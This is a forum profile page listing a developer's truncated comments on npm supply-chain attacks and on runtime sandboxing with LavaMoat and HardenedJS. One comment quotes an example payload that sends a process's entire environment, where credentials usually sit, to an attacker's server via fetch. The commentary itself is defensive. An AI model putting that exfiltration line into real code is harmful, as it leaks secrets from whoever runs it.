Viewing profile — naugtur

We're making software that doesn't rely on filtering, but Principle Of Least Authority at runtime. https://lavamoat.github.io https://hardenedjs.org

Here's a tool that protects you from these kind of things without the necessity to set up an environment per project, just simple one-time install. https://github.com/lavamoat/kipu…

Again, that's why LavaMoat exists. Set it up once and it will block many classes of attacks regardless of where they come from.

1. Control lifecycle scripts with @lavamoat/allow-scripts 2. Do local dev with https://github.com/lavamoat/kipuka installed (I'm working on it) 3. If you don't permit the APIs used…

You need to juggle two builds - one while you're iterating rapidly and another when you're near start and finish of the increment. Not a lot of work compared to auditing a thousand…

It's based on HardenedJS.org The sandbox itself is tight, there's a bug bounty even. The same technology is behind metamask snaps - plugins in a browser extension. And Moddable has…

Yup, and thanks - I should have made the comment myself but got distracted.

Very good summary. Most other ecosystems are as vulnerable if not more, they just lack the scale. OP, The malware is coming to the ecosystem you prefer. Give it time.

- the attack it shipped was not a great fit for the packages compromised. `fetch(myserverurl+JSON.stringify(process.env))` would be a much more profitable payload - naive obfuscati…

Vibe coding brings up the need for even more granular isolation. I'm on it ;) LavaMoat Webpack Plugin will soom have the ability to treat parts of your app same as it currently tre…

Yes, I am. I came up with the first successful attempt at integrating the Principle of Least Authority software in LavaMoat with Webpack and wrote the LavaMoat Webpack Plugin. Also…

That's why we never went with using keys in CI for publishing. Local machine publishing requires a 2fa. automated publishing should use something like Pagerduty to signal that a ve…

socket.dev will find most malware within hours of it being published. with LavaMoat most malware won't work even if you don't detect it.

It's within the same process and realm (window) It has a cost, but it's nothing compared to putting every dependency of a large app in a separate iframe/process and figure out a wa…

there's only one transaction that's making up most of it. Someone lost some serious 0.1 ETH or so. 500$ is nothing. it's what unsophisticated phishing makes in a day. It's what a s…

I work with people who understand this stuff :D But if I see a transaction for thousands or millions of a coin I've never heard of with $ value of about 1 it's likely a shitcoin an…

Absolutely not. you get npm packages by pulling not them pushing them to you as soon as a new version exist. The likelyhood of you updating instantly is close to zero and if not, y…

If you mean during development - you can opt out of using lavamoat in development for your webpack bundle (I'm assuming you're not running your untested code on valuable data)

packages published to npm are immutable. if you pin a version, you get the same exact version as long as MSFT servers are not compromised. Installing from git is not recommended an…

npm is on life support by msft. But there's socket.dev that can tell you if a package is malicious within hours of it being published.

click through to the article, it has a link to a view that lists the laughable profit

You're using HMR in your app's production bundle? How?

You too can run malware from NPM (I mean without consequences) https://github.com/naugtur/running-qix-malware?tab=readme-ov...